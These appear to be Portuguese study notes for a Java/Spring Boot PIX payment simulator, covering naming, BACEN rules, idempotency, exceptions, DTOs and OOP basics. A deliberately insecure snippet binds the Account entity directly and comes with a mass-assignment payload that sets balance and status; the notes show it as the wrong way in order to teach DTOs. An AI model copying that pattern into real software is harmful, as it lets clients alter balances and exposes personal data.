Valores em UPPER_SNAKE (como constantes), nome do enum em PascalCase (como classe, porque e um tipo).

Pacote

Uma pasta que agrupa classes relacionadas. Funciona como namespace.

package com.riel.pixhub.entity;   // pasta entity/
package com.riel.pixhub.enums;    // pasta enums/

Tudo minusculo: Evita conflito entre sistemas operacionais (Windows nao diferencia maiuscula em pastas, Linux sim). Dominio invertido (com.riel): Garante unicidade global.

Arquivo

Em Java, cada classe publica mora em um arquivo com o mesmo nome. Account.java contem public class Account. Nao e convencao — e obrigatorio. O compilador exige.

Resumo visual

Elemento Convencao Exemplo Por que
Classe PascalCase AccountRepository Diferencia tipo de variavel
Variavel/Metodo camelCase holderDocument Indica instancia/acao
Constante/Enum valor UPPER_SNAKE CHECKING Grita "nao mudo"
Pacote tudo minusculo com.riel.pixhub Evita conflito entre OS
Arquivo = nome da classe Account.java Obrigatorio pelo compilador

Voce nao intercala — Spring Boot E Java

Spring Boot e Java. E uma camada em cima do Java que automatiza coisas chatas. Os dois vivem juntos no mesmo arquivo.

Situacao Quem faz Exemplo
Logica de negocio Java puro Validar CPF, calcular saldo, verificar limites
Infraestrutura Spring Boot Conectar ao banco, criar endpoints, injetar dependencias
Persistencia Spring Data findByKeyValue(), save(), transacoes
Seguranca Spring Security Autenticacao, autorizacao

Na pratica — os dois juntos

// Isso e JAVA PURO — logica de negocio
public boolean isCpfValid(String cpf) {
    if (cpf.length() != 11) return false;
    // calculo dos digitos verificadores...
    return true;
}

// Isso e SPRING BOOT — infraestrutura
@RestController                              // Spring cuida do HTTP
@RequestMapping("/api/v1/accounts")
public class AccountController {

    @Autowired                               // Spring injeta automaticamente
    private AccountService accountService;

    @PostMapping                             // Spring mapeia POST /api/v1/accounts
    public ResponseEntity<Account> create(
            @RequestBody AccountRequest request) {
        return ResponseEntity.ok(
            accountService.create(request)   // Logica = Java puro
        );
    }
}
Regra rapida para distinguir

Se voce esta escrevendo if/else, for, calculos, validacoes → e Java puro.
Se esta usando @Annotation → e Spring.
Os dois convivem no mesmo arquivo, na mesma classe.

Ordem de prioridade para nomear as coisas

  1. Regulacao oficial (BACEN, leis) → OBRIGATORIO seguir
  2. Padroes tecnicos (BRCode, EMV, ISO) → Nomes padronizados globalmente
  3. Glossario interno do projeto/empresa → Alinhamento do time
  4. APIs de referencia (Stripe, PagSeguro) → Boas praticas validadas
  5. Convencao do framework (Spring) → Padrao do ecossistema
  6. Seu bom senso → Ultimo recurso

Exemplos: nome errado vs nome certo

Errado (inventado) Certo (do dominio) Por que
transferId endToEndId Nome oficial do BACEN
retryKey idempotencyKey Nome consagrado em APIs financeiras
userDocument holderDocument "Holder" (titular) e termo bancario
bankId bankCode / ispb ISPB e o identificador oficial do SPI
qrString payload Termo do padrao BRCode/EMV

Onde encontrar o vocabulario

Fonte O que traz
BACEN Nomes oficiais: endToEndId, DICT, ISPB
Padrao BRCode Campos do QR: merchantName, merchantCity, txId
Stripe Docs Padroes de API: idempotency_key, webhook, secret
Spring Docs Padroes do framework: Repository, Service, Controller

Por que usar APIs de referencia alem do BACEN?

Nao e "ou" — e "e".

O BACEN diz O QUE fazer:

"Transacoes devem ter identificador fim-a-fim unico"

Mas nao diz COMO implementar:

  • Que nome dar ao campo na API
  • Como estruturar o JSON
  • Como tratar duplicidades
  • Como notificar o cliente

As APIs de referencia mostram COMO o mercado resolveu. Stripe ja errou, aprendeu e publicou as boas praticas. Voce nao precisa repetir os erros deles.

Analogia — Codigo de transito vs autoescola

O BACEN e o codigo de transito — diz que voce precisa parar no vermelho. A Stripe e o instrutor de autoescola — ensina como frear suavemente, olhar o retrovisor e estacionar. Voce precisa dos dois.

Como saber que algo e padrao de mercado

Tres sinais:

  1. Multiplas APIs grandes usam o mesmo nome: Stripe tem idempotency_key, PagSeguro tem, PayPal tem → e padrao.
  2. Tem artigos explicando: Se voce pesquisa "idempotency key API design" e encontra artigos do Martin Fowler, Google Cloud, AWS → e padrao.
  3. Frameworks tem suporte nativo: Se Spring tem @Idempotent, se AWS tem "Idempotency Helper" → e padrao.
Regra final

O "jeito ideal" de nomear e: convencao da linguagem + padrao do framework + vocabulario do dominio + consistencia com o projeto. Se os 4 batem, o nome esta certo.

O cenario real

Nem toda empresa tem um departamento de Compliance. Em startups, fintechs pequenas, ou projetos solo, o PO (ou ate o dev) precisa ler e interpretar a regulacao do BACEN diretamente. E isso e totalmente possivel — voce so precisa de metodo.

Passo a passo pratico

1. Va direto na fonte oficial

O BACEN publica tudo abertamente. Para o PIX:

  • Resolucao BCB no 1 — regras gerais do PIX
  • Manual de Requisitos Minimos — documento tecnico com campos, fluxos, limites
  • APIs do DICT — especificacao tecnica das APIs do diretorio de chaves

2. Leia como programador, nao como advogado

Voce nao precisa entender 100% da linguagem juridica. Procure as tabelas e diagramas — a regulacao do BACEN tem tabelas que dizem literalmente:

"Chave PIX tipo CPF: 11 digitos numericos"
"Maximo 5 chaves por conta PF, 20 por PJ"
"Campo endToEndId: 32 caracteres, formato E{ISPB}{data}{seq}"

Sao essas informacoes concretas que viram campos na sua Entity e validacoes no Service.

3. Crie uma planilha de extracao

Para cada artigo que afeta seu sistema, extraia em formato tabular:

Exemplo de planilha

Art. 37 | Regra: Max 5 chaves PF | Impacto: Validacao no PixKeyService | Prioridade: Alta
Art. 42 | Regra: Idempotencia obrigatoria | Impacto: Campo idempotencyKey | Prioridade: Critica

4. Use APIs de referencia como traducao

Pegue a documentacao da API PIX de bancos como Banco do Brasil, Itau, ou o padrao OpenBanking Brasil. Eles ja "traduziram" a regulacao em campos e endpoints concretos. E muito mais facil ler uma spec de API do que um documento juridico.

5. Valide antes de produzir

Mesmo sem Compliance interno, antes de ir para producao, busque uma consultoria juridica pontual ou feedback de alguem do mercado. Comunidades como o OpenBanking Brasil no GitHub sao recursos valiosos.

Resumo do fluxo

Regulacao oficial → Extrai regras em tabela → Compara com APIs de referencia → Implementa → Valida com alguem antes de producao.

Dois tipos de validacao, em momentos diferentes

No PIX real, existe o DICT (Diretorio de Identificadores de Contas Transacionais) — um banco de dados centralizado no BACEN com TODAS as chaves PIX do Brasil. Mas nem toda validacao precisa consultar o DICT.

A) Validacao LOCAL — formato e regras internas

Quando o usuario registra uma chave, primeiro validamos o formato antes de falar com qualquer sistema externo:

// Sera implementado no PixKeyService (Fase 03)
public PixKey registerKey(PixKeyRequest request) {

    // 1. VALIDACAO LOCAL — formato esta correto?
    switch (request.getKeyType()) {
        case CPF:
            if (!isValidCpf(request.getKeyValue()))
                throw new InvalidPixKeyException("CPF invalido");
            break;
        case EMAIL:
            if (!isValidEmail(request.getKeyValue()))
                throw new InvalidPixKeyException("E-mail invalido");
            break;
    }

    // 2. VALIDACAO LOCAL — limite de chaves atingido?
    long activeKeys = pixKeyRepository
        .countByAccountIdAndStatus(accountId, PixKeyStatus.ACTIVE);
    boolean isPJ = account.getHolderDocument().length() == 14;
    int maxKeys = isPJ ? 20 : 5;

    if (activeKeys >= maxKeys) {
        throw new PixKeyLimitExceededException("Limite atingido");
    }

    // 3. VALIDACAO LOCAL — chave ja existe no nosso banco?
    if (pixKeyRepository.existsByKeyValue(request.getKeyValue())) {
        throw new PixKeyAlreadyExistsException("Chave ja cadastrada");
    }

    // 4. Salva localmente
    return pixKeyRepository.save(pixKey);
}

B) Consulta ao DICT — quando alguem faz um PIX

Quando voce digita uma chave PIX no app do banco, ele consulta o DICT para descobrir em qual banco/conta essa chave esta registrada:

// No sistema real:
// DictResponse resp = dictClient.lookupKey("fulano@email.com");
// Retorna: banco destino, agencia, conta, nome do titular

// Na nossa simulacao, fazemos lookup local:
PixKey key = pixKeyRepository.findByKeyValue(pixKeyValue)
    .orElseThrow(() -> new PixKeyNotFoundException("Chave nao encontrada"));
Account receiverAccount = key.getAccount();

No nosso projeto — o que ja existe

Os metodos do PixKeyRepository que ja criamos fazem exatamente essas validacoes:

// Verifica unicidade (simula verificacao do DICT)
boolean existsByKeyValue(String keyValue);

// Conta chaves ativas para validar limite 5 PF / 20 PJ
long countByAccountIdAndStatus(UUID accountId, PixKeyStatus status);

// Busca chave para resolver destinatario de um PIX
Optional<PixKey> findByKeyValue(String keyValue);
Analogia

E como um correio: a validacao local verifica se o CEP tem 8 digitos (formato). A consulta ao DICT verifica se aquele CEP existe de verdade e qual endereco corresponde.

422 e um padrao HTTP geral

O HTTP 422 (Unprocessable Entity) foi definido na RFC 4918, originalmente do WebDAV, mas adotado amplamente por APIs REST modernas. Nao e especifico de sistemas bancarios — e usado por Stripe, GitHub, Shopify e qualquer API bem desenhada.

Tabela de codigos na pratica

| Codigo | Nome                  | Quando usar                    | Exemplo PIX                    |
|--------|-----------------------|--------------------------------|--------------------------------|
| 400    | Bad Request           | Formato errado, JSON malformado| { "amount": "abc" } — nem e nr |
| 404    | Not Found             | Recurso nao existe             | Chave PIX nao encontrada       |
| 409    | Conflict              | Conflito com estado atual      | Chave PIX ja cadastrada        |
| 422    | Unprocessable Entity  | Formato OK, regra violada      | { "amount": -50 } — negativo   |

A diferenca sutil entre 400 e 422

Analogia

400: "Nao entendi o que voce me mandou" — problema de sintaxe (JSON quebrado, campo faltando, tipo errado).
422: "Entendi perfeitamente, mas nao posso fazer isso" — problema de semantica/regra (saldo insuficiente, conta bloqueada, limite de chaves).

Por que e popular em APIs financeiras?

Sistemas financeiros tem MUITAS regras de negocio. "Saldo insuficiente", "Conta bloqueada", "Limite atingido" — tudo isso e 422: a requisicao e valida no formato, mas viola uma regra. O Stripe popularizou essa separacao e hoje e considerada boa pratica em qualquer API REST.

No nosso projeto

Na Fase 03/04, o GlobalExceptionHandler vai mapear cada excecao customizada para o codigo HTTP correto: PixKeyNotFoundException → 404, PixKeyAlreadyExistsException → 409, PixKeyLimitExceededException → 422.

Dois mecanismos juntos

No nosso PixKey.java, dois campos trabalham em conjunto:

// Campo 1: Status — flag rapida
@Enumerated(EnumType.STRING)
@Builder.Default
private PixKeyStatus status = PixKeyStatus.ACTIVE;

// Campo 2: Data de desativacao — registro historico
private LocalDateTime deactivatedAt;
// NULL = chave ativa. Preenchido = chave desativada.

Como funciona na pratica

// Consultas filtram por status:
List<PixKey> findByAccountIdAndStatus(accountId, PixKeyStatus.ACTIVE);
// → Retorna so as chaves que funcionam

// Desativacao (sera implementada na Fase 03):
public void deactivateKey(UUID keyId) {
    PixKey key = pixKeyRepository.findById(keyId)
        .orElseThrow(() -> new PixKeyNotFoundException("Nao encontrada"));

    key.setStatus(PixKeyStatus.INACTIVE);      // Marca como inativa
    key.setDeactivatedAt(LocalDateTime.now());  // Registra QUANDO
    pixKeyRepository.save(key);
}

Por que NUNCA deletar?

Regra de compliance

Se o BACEN perguntar "essa chave existiu entre janeiro e marco?", voce precisa da resposta. Com DELETE, a informacao se perde para sempre. Com soft delete (status + deactivatedAt), o historico completo e preservado. Em fintech, dados nunca sao deletados fisicamente.

Mundo ideal vs realidade

Mundo ideal (empresas maduras como Itau, Nubank): o PO entrega historias com criterios de aceite bem organizados, com dependencias mapeadas: "Primeiro Account, depois PixKey que depende de Account."

Realidade (maioria das empresas): o PO prioriza por valor de negocio, nao por dependencia tecnica.

Exemplo concreto

Sprint 1 — PO priorizou por VALOR:
1. Fazer PIX por chave        ← Maior valor (cliente quer pagar)
2. Cadastrar chave PIX        ← Segundo maior valor
3. Consultar extrato           ← Terceiro

Problema: "Fazer PIX" DEPENDE de Account + PixKey + Transaction prontos.

Quem resolve? O Tech Lead

Na pratica, a traducao de "valor de negocio" para "ordem tecnica" e feita pelo Tech Lead ou Senior Dev:

PO: "Quero PIX funcionando primeiro"
Tech Lead: "Para PIX funcionar, preciso de:"
  - Semana 1: BaseEntity + Account + PixKey (fundacoes)
  - Semana 2: Transaction + Kafka (processamento)
  - Semana 3: Endpoint de PIX (que usa tudo acima)

Planning: PO aceita que a demo do Sprint 1 tera
"cadastro de conta e chave" (dependencia tecnica).

Quando voce esta sozinho

Seu caso

Voce e PO + Tech Lead + Dev ao mesmo tempo. A ordem que seguimos nas fases e exatamente o que um Tech Lead faria: Fase 01 infra (Docker) → Fase 02 dados (entidades) → Fase 03 logica (services) → Fase 04 interface (controllers). Sempre de baixo para cima: infraestrutura → dados → logica → interface.

O campo que ja criamos

Em Transaction.java:

@Column(name = "idempotency_key", nullable = false,
       length = 36, unique = true)
private String idempotencyKey;

Como funciona na pratica (Fase 03)

public Transaction createTransaction(TransactionRequest request) {

    // PASSO 1: Verifica se ja existe transacao com essa idempotencyKey
    Optional<Transaction> existing = transactionRepository
        .findByIdempotencyKey(request.getIdempotencyKey());

    if (existing.isPresent()) {
        // JA EXISTE! Retorna a transacao existente sem criar outra.
        // Isso E a idempotencia em acao.
        return existing.get();
    }

    // PASSO 2: Nao existe — cria nova transacao
    Transaction transaction = Transaction.builder()
        .endToEndId(generateEndToEndId())
        .amount(request.getAmount())
        .senderAccount(senderAccount)
        .receiverAccount(receiverAccount)
        .idempotencyKey(request.getIdempotencyKey())
        .status(TransactionStatus.PENDING)
        .build();

    return transactionRepository.save(transaction);
}

Fluxo do cliente

Cliente clica "Pagar R$50" → App gera idempotencyKey: "abc-123-def"

Requisicao 1:
  POST /api/v1/transactions { idempotencyKey: "abc-123-def" }
  → Nao existe "abc-123-def" → CRIA transacao → 201 Created

Requisicao 2 (clique duplo, lag):
  POST /api/v1/transactions { idempotencyKey: "abc-123-def" }
  → JA existe "abc-123-def" → RETORNA a mesma transacao → 200 OK
  → Cliente NAO e cobrado duas vezes!
Quem gera a idempotencyKey?

O cliente (app/frontend). Geralmente e um UUID gerado no momento que o usuario abre a tela de pagamento. Cada tentativa de pagamento nova gera uma chave unica. Se o usuario tenta novamente o mesmo pagamento (clique duplo, timeout, retry), a mesma chave e enviada.

O que e uma excecao customizada?

E um sinal nomeado de que algo deu errado no seu dominio. Nao e uma rotina (algo que roda sempre) nem um fallback (plano B). E um alarme com nome e sobrenome que diz exatamente O QUE deu errado.

Sem excecao customizada — generico

// Ruim: mensagem generica, quem recebeu nao sabe o que aconteceu
if (activeKeys >= maxKeys) {
    throw new RuntimeException("Erro na operacao");
    // Foi limite de chaves? Conta bloqueada? Bug? Ninguem sabe.
}

Com excecao customizada — especifica

// 1. Cria a excecao (arquivo em exception/)
public class PixKeyLimitExceededException extends RuntimeException {
    public PixKeyLimitExceededException(String message) {
        super(message);
    }
}

// 2. Usa no Service com mensagem clara
if (activeKeys >= maxKeys) {
    throw new PixKeyLimitExceededException(
        "Conta ja possui " + activeKeys + " chaves ativas. Limite: " + maxKeys
    );
}

O poder real: GlobalExceptionHandler

O handler traduz cada excecao em uma resposta HTTP especifica:

@RestControllerAdvice
public class GlobalExceptionHandler {

    @ExceptionHandler(PixKeyLimitExceededException.class)
    public ResponseEntity<ErrorResponse> handlePixKeyLimit(
            PixKeyLimitExceededException ex) {
        return ResponseEntity.status(422).body(new ErrorResponse(
            "PIX_KEY_LIMIT_EXCEEDED",   // Codigo que o frontend entende
            ex.getMessage()              // Mensagem legivel
        ));
    }

    @ExceptionHandler(PixKeyNotFoundException.class)
    public ResponseEntity<ErrorResponse> handleNotFound(
            PixKeyNotFoundException ex) {
        return ResponseEntity.status(404).body(new ErrorResponse(
            "PIX_KEY_NOT_FOUND",
            ex.getMessage()
        ));
    }
    // Cada excecao → um HTTP status especifico
}
Analogia

RuntimeException e como um alarme de incendio generico — "algo pegou fogo". Excecao customizada e como um alarme especifico — "incendio na cozinha, fogo no fogao". A equipe de bombeiros (GlobalExceptionHandler) sabe exatamente o que fazer com cada tipo de alarme.

A ordem e sempre de dentro para fora

Quando voce recebe uma tarefa ("implementar cadastro de chave PIX"), segue esta ordem:

1. Entity      (ja existe)  → "O que eu vou salvar?"
2. Migration   (ja existe)  → "Como o banco armazena isso?"
3. Repository  (ja existe)  → "Como acesso o banco?"
4. Exception                → "O que pode dar errado?"
5. DTO (Req/Res)            → "O que o cliente manda e recebe?"
6. Service                  → "Qual a logica de negocio?"
7. Controller               → "Qual o endpoint HTTP?"

Exemplo: "Cadastrar chave PIX"

Ja temos (Fase 02):
  ✓ PixKey.java                    (Entity)
  ✓ V3__create_pix_key_table.sql   (Migration)
  ✓ PixKeyRepository.java          (Repository)

Fase 03 — vamos criar:
  → PixKeyNotFoundException.java          (Exception)
  → PixKeyAlreadyExistsException.java     (Exception)
  → PixKeyLimitExceededException.java     (Exception)
  → CreatePixKeyRequest.java              (DTO entrada)
  → PixKeyResponse.java                   (DTO saida)
  → PixKeyService.java                    (Service)

Fase 04 — vamos criar:
  → PixKeyController.java                 (Controller)

Por que essa ordem?

Controller depende de → Service
Service depende de    → Repository + Exception + DTO
Repository depende de → Entity
Entity depende de     → Migration (tabela precisa existir)

Voce nao consegue escrever o Service sem o Repository. Nao consegue escrever o Controller sem o Service. A ordem e natural — cada camada precisa da anterior.

No dia a dia de uma sprint

Segunda:  Le a historia do PO, entende criterios de aceite
Terca:    Cria Exceptions + DTOs (rapido, sao arquivos simples)
Quarta:   Implementa o Service (parte mais complexa, regras)
Quinta:   Implementa Controller + escreve testes
Sexta:    Code review, ajustes, merge

Sim, e muito comum!

Cada letra do CRUD pode ter multiplas variacoes:

Account — variacoes

| Operacao | Variacoes                                        | Endpoint                         |
|----------|--------------------------------------------------|----------------------------------|
| Create   | 1 — criar conta                                  | POST /api/v1/accounts            |
| Read     | 4 — por ID, por documento, por banco+ag+nr, todas| GET /api/v1/accounts/{id}        |
| Update   | 3 — atualizar dados, bloquear, desbloquear       | PUT, PATCH .../block             |
| Delete   | 1 — desativar (soft delete)                      | DELETE /api/v1/accounts/{id}     |

Transaction — ainda mais interessante

| Operacao | Variacoes                                        | Endpoint/Mecanismo               |
|----------|--------------------------------------------------|----------------------------------|
| Create   | 1 — iniciar PIX                                  | POST /api/v1/transactions        |
| Read     | 5 — por ID, endToEndId, conta sender, receiver   | Varios GETs                      |
| Update   | 3 — processar, completar, falhar (via Kafka)     | Internos (Kafka consumers)       |
| Delete   | 0 — transacao NUNCA e deletada                   | Nao existe                       |

No codigo — os Reads multiplos

Cada metodo do PixKeyRepository e uma variacao de Read:

Optional<PixKey> findByKeyValue(String keyValue);    // Read por valor
List<PixKey> findByAccountId(UUID accountId);         // Read por conta
List<PixKey> findByAccountIdAndStatus(UUID id, ...);  // Read por conta+status
List<PixKey> findByKeyType(PixKeyType keyType);       // Read por tipo

No Controller — cada variacao vira um endpoint

@RestController
@RequestMapping("/api/v1/pix-keys")
public class PixKeyController {

    @PostMapping                          // CREATE
    public ResponseEntity create(...) { }

    @GetMapping("/{id}")                  // READ por ID
    public ResponseEntity getById(...) { }

    @GetMapping("/by-key/{keyValue}")     // READ por valor
    public ResponseEntity getByKey(...) { }

    @GetMapping("/by-account/{accountId}")// READ por conta
    public ResponseEntity getByAccount(...) { }

    @PatchMapping("/{id}/deactivate")     // UPDATE (soft delete)
    public ResponseEntity deactivate(...) { }

    // DELETE fisico — nao existe para PixKey
}
Ferramentas visuais

Para organizar entidades x CRUDs: dbdiagram.io (diagramas ER), DBeaver (gera diagrama do banco existente), Miro/FigJam (quadro branco para fluxos), Swagger Editor (design visual de APIs). O nosso arquitetura.html e uma versao customizada disso.

1. A Classe — o molde

public class ContaBancaria {

    // --- DADOS (atributos) — informacoes que cada conta tera ---
    private String titular;
    private String numero;
    private BigDecimal saldo;
    private boolean ativa;

    // --- CONSTRUTOR — como criar uma conta nova ---
    // Chamado quando voce faz: new ContaBancaria(...)
    public ContaBancaria(String titular, String numero) {
        this.titular = titular;       // "this" = esta instancia especifica
        this.numero = numero;
        this.saldo = BigDecimal.ZERO; // Toda conta comeca com zero
        this.ativa = true;            // Toda conta comeca ativa
    }

    // --- COMPORTAMENTOS (metodos) — acoes que a conta executa ---

    public BigDecimal depositar(BigDecimal valor) {
        if (valor.compareTo(BigDecimal.ZERO) <= 0)
            throw new IllegalArgumentException("Valor deve ser positivo");
        if (!this.ativa)
            throw new IllegalStateException("Conta inativa");
        this.saldo = this.saldo.add(valor);
        return this.saldo;
    }

    public BigDecimal sacar(BigDecimal valor) {
        if (valor.compareTo(this.saldo) > 0)
            throw new IllegalStateException("Saldo insuficiente");
        this.saldo = this.saldo.subtract(valor);
        return this.saldo;
    }

    public void transferir(ContaBancaria destino, BigDecimal valor) {
        this.sacar(valor);          // Debita desta conta
        destino.depositar(valor);   // Credita na outra
    }

    // --- GETTERS — para ler os dados (encapsulamento) ---
    public String getTitular() { return this.titular; }
    public BigDecimal getSaldo() { return this.saldo; }
}

2. Criando objetos — instancias da classe

public class Main {
    public static void main(String[] args) {

        // 2 objetos DIFERENTES do MESMO molde (classe)
        // Como 2 casas construidas da mesma planta arquitetonica
        ContaBancaria contaRiel = new ContaBancaria("Riel", "001-1");
        ContaBancaria contaMaria = new ContaBancaria("Maria", "002-2");

        // Cada objeto tem dados independentes
        contaRiel.depositar(new BigDecimal("1000.00"));
        // contaRiel.saldo = 1000.00
        // contaMaria.saldo = 0.00 (independente!)

        contaMaria.depositar(new BigDecimal("500.00"));

        // Transferencia: Riel → Maria, R$200
        contaRiel.transferir(contaMaria, new BigDecimal("200.00"));

        System.out.println(contaRiel.getSaldo());  // 800.00
        System.out.println(contaMaria.getSaldo()); // 700.00
    }
}

3. Como isso se compara ao Spring

// Java puro:
ContaBancaria conta = new ContaBancaria("Riel", "001-1");
conta.depositar(valor);  // Dev cria e chama manualmente

// Spring:
Account conta = Account.builder().holderName("Riel").build();
accountRepository.save(conta);   // Spring + JPA salva no banco
// Comportamento (depositar) fica no Service, nao na Entity
Anatomia de um metodo

public BigDecimal depositar(BigDecimal valor) { ... }

public — quem pode chamar (qualquer um)
BigDecimal — tipo de retorno (o que devolve)
depositar — nome do metodo (o verbo)
(BigDecimal valor) — parametro (o que precisa receber)
{ ... } — corpo (o que FAZ)
return — o que DEVOLVE para quem chamou

Tipos de retorno

// Retorna um valor
public BigDecimal getSaldo() { return this.saldo; }
BigDecimal resultado = conta.getSaldo(); // resultado = 1000.00

// void — faz algo mas nao devolve nada
public void bloquear() { this.ativa = false; }
conta.bloquear(); // Sem "resultado", so executou

// boolean — responde sim/nao
public boolean temSaldo(BigDecimal valor) {
    return this.saldo.compareTo(valor) >= 0;
}
boolean podePagar = conta.temSaldo(new BigDecimal("500")); // true/false

Constante — valores soltos, sem protecao

public static final String STATUS_ACTIVE = "ACTIVE";
public static final String STATUS_INACTIVE = "INACTIVE";

// O problema:
public void setStatus(String status) { ... }

conta.setStatus("ACTIVE");     // ✓ Funciona
conta.setStatus("ACTVE");      // ✓ Compila! Mas esta errado (typo)
conta.setStatus("banana");     // ✓ Compila! Absurdo, mas Java aceita
conta.setStatus("");           // ✓ Compila! String vazia
// O erro so aparece em RUNTIME (producao, 3h da manha)

Enum — tipado, protegido pelo compilador

public enum AccountStatus { ACTIVE, INACTIVE, BLOCKED }
// Esses 3 sao os UNICOS valores possiveis. Ponto final.

public void setStatus(AccountStatus status) { ... }

conta.setStatus(AccountStatus.ACTIVE);   // ✓ Funciona
conta.setStatus(AccountStatus.BLOCKED);  // ✓ Funciona
conta.setStatus("ACTIVE");               // ✗ NAO COMPILA — String nao e AccountStatus
conta.setStatus("banana");               // ✗ NAO COMPILA
conta.setStatus(AccountStatus.BANANA);   // ✗ NAO COMPILA — BANANA nao existe
// Erro aparece em COMPILE TIME (IDE sublinha de vermelho)
O que significa "tipado"?

O Java verifica o tipo do dado. AccountStatus e um tipo. String e outro tipo. Voce nao pode colocar um onde se espera o outro. E como tentar enfiar uma chave Phillips num parafuso Allen — o formato impede.

Quando usar cada um?

// ENUM: valores FINITOS e CONHECIDOS (status, tipos, categorias)
enum AccountStatus { ACTIVE, INACTIVE, BLOCKED }
enum PixKeyType { CPF, CNPJ, EMAIL, PHONE, RANDOM }

// CONSTANTE: valor FIXO INDIVIDUAL que nao faz parte de um grupo
public static final int MAX_RETRY = 3;
public static final long TIMEOUT_MS = 5000;

Enums com dados extras (Java permite!)

enum PixKeyType {
    CPF(11, "CPF"),
    CNPJ(14, "CNPJ"),
    EMAIL(77, "E-mail"),
    PHONE(14, "Telefone"),
    RANDOM(36, "Aleatoria");

    private final int maxLength;
    private final String displayName;

    PixKeyType(int maxLength, String displayName) {
        this.maxLength = maxLength;
        this.displayName = displayName;
    }
}
// Uso: PixKeyType.CPF.getMaxLength() → 11

Pacotes — como pastas com superpoderes

Pacotes funcionam exatamente como pastas no sistema de arquivos:

package com.riel.pixhub.entity;
//      com/ riel/ pixhub/ entity/  ← sao pastas REAIS!

src/main/java/
  └── com/
      └── riel/
          └── pixhub/
              ├── entity/      → package com.riel.pixhub.entity
              ├── enums/       → package com.riel.pixhub.enums
              └── repository/  → package com.riel.pixhub.repository

Import = link entre arquivos

A analogia com HTML/CSS e perfeita:

// HTML: link para CSS usando caminho
<link rel="stylesheet" href="../../css/style.css">

// Java: import de uma classe de outro pacote
import com.riel.pixhub.enums.AccountStatus;
// "Va na pasta com/riel/pixhub/enums/ e traga AccountStatus.java"
Diferenca importante

Em HTML, href="../../css/style.css" e relativo (depende de onde voce esta). Em Java, import com.riel.pixhub.enums.AccountStatus e absoluto (sempre comeca da raiz). Sem o import, o Java nao sabe onde a classe esta — como um HTML sem o <link> para o CSS.

Por que com.riel.pixhub?

Convencao Java de dominio invertido: se o site fosse pixhub.riel.com, o pacote e com.riel.pixhub (invertido). Isso garante unicidade mundial — nenhum outro projeto Java no planeta tera o mesmo pacote.

O que ele faz hoje

O GlobalExceptionHandler criado na Fase 01 tem apenas 2 handlers: um para erros de validacao (MethodArgumentNotValidException → 400) e um generico para tudo mais (Exception → 500).

Problema 1 — Usa Map em vez de classe tipada

// HOJE: monta um Map na mao — sem tipo, sem garantia
Map<String, Object> body = new HashMap<>();
body.put("timestamp", LocalDateTime.now());
body.put("statsu", status.value()); // Typo! Compila e quebra em producao

// DEPOIS: usa ErrorResponse — classe com campos definidos
ErrorResponse body = new ErrorResponse(status, error, message, path);
// Typo no campo? Java NAO compila. Mesmo conceito de Enum vs String.

Problema 2 — So trata 2 situacoes

// HOJE:
@ExceptionHandler(MethodArgumentNotValidException.class)  // 400
@ExceptionHandler(Exception.class)                         // 500 para TUDO

// Se o Service lanca ResourceNotFoundException...
// Cai no handler generico → retorna 500 Internal Server Error
// Mas deveria retornar 404 Not Found!

// DEPOIS: handlers especificos
@ExceptionHandler(ResourceNotFoundException.class)       // → 404
@ExceptionHandler(ResourceAlreadyExistsException.class)  // → 409
@ExceptionHandler(BusinessRuleViolationException.class)  // → 422
@ExceptionHandler(AccountBlockedException.class)         // → 403
// Cada excecao → codigo HTTP correto
Analogia

E como um hospital que so tem "ala geral". Chega paciente com gripe? Ala geral. Fratura? Ala geral. Cirurgia? Ala geral. Funciona, mas e ineficiente. A atualizacao cria alas especificas: cada tipo de problema tem o tratamento correto.

Beneficio

Com handlers especificos, o frontend recebe codigos HTTP corretos e pode mostrar mensagens adequadas: "Conta nao encontrada" (404) vs "Documento ja cadastrado" (409) vs "Saldo insuficiente" (422). Com 500 para tudo, o frontend so mostra "Erro interno".

Por que NAO usar a Entity direto?

// ERRADO — expor Account (Entity) na resposta:
@PostMapping
public Account create(@RequestBody Account account) {
    return accountRepository.save(account);
}

// 3 problemas graves:

// 1. SEGURANCA — Cliente controla o que NAO deveria:
//    { "id": "uuid-que-eu-quero", "balance": 999999, "status": "ACTIVE" }
//    Atacante define proprio ID, saldo e status!

// 2. PRIVACIDADE — Resposta expoe TUDO:
//    { "holderDocument": "12345678901", "balance": 15000 }
//    CPF e saldo visiveis — violacao de LGPD

// 3. ACOPLAMENTO — Se mudar a Entity, a API publica QUEBRA
//    Todos os apps/frontends param de funcionar

DTO de Entrada — o que o cliente pode enviar

// CreateAccountRequest — so campos que o cliente TEM PERMISSAO de informar
public class CreateAccountRequest {

    @NotBlank(message = "Nome e obrigatorio")
    @Size(min = 2, max = 120)
    private String holderName;          // Cliente informa

    @NotBlank(message = "Documento e obrigatorio")
    private String holderDocument;      // Cliente informa

    @NotBlank
    private String bankCode;            // Cliente informa

    @NotBlank
    private String branch;              // Cliente informa

    @NotBlank
    private String accountNumber;       // Cliente informa

    @NotNull
    private AccountType accountType;    // Cliente informa

    // NAO TEM: id, balance, status, createdAt, updatedAt
    // O sistema define esses campos, nao o cliente
}

DTO de Saida — o que o cliente pode ver

// AccountResponse — campos que o cliente TEM PERMISSAO de ver
public class AccountResponse {
    private UUID id;                    // Cliente ve
    private String holderName;          // Cliente ve
    private String holderDocument;      // Sera MASCARADO: ***456.789-**
    private String bankCode;            // Cliente ve
    private String branch;              // Cliente ve
    private String accountNumber;       // Cliente ve
    private AccountType accountType;    // Cliente ve
    private BigDecimal balance;         // So o dono ve (JWT depois)
    private AccountStatus status;       // Cliente ve
    private LocalDateTime createdAt;    // Cliente ve

    // NAO TEM: updatedAt (dado interno, irrelevante pro cliente)
}

Mapper — ponte entre Entity e DTO

public class AccountMapper {

    // DTO de entrada → Entity (para salvar no banco)
    public static Account toEntity(CreateAccountRequest request) {
        return Account.builder()
            .holderName(request.getHolderName())
            .holderDocument(request.getHolderDocument())
            .bankCode(request.getBankCode())
            .branch(request.getBranch())
            .accountNumber(request.getAccountNumber())
            .accountType(request.getAccountType())
            // balance e status usam @Builder.Default (ZERO e ACTIVE)
            // id e createdAt sao gerados automaticamente pelo JPA
            .build();
    }

    // Entity → DTO de saida (para retornar na API)
    public static AccountResponse toResponse(Account account) {
        return AccountResponse.builder()
            .id(account.getId())
            .holderName(account.getHolderName())
            .holderDocument(account.getHolderDocument())
            .bankCode(account.getBankCode())
            .branch(account.getBranch())
            .accountNumber(account.getAccountNumber())
            .accountType(account.getAccountType())
            .balance(account.getBalance())
            .status(account.getStatus())
            .createdAt(account.getCreatedAt())
            .build();
    }
}
Fluxo completo

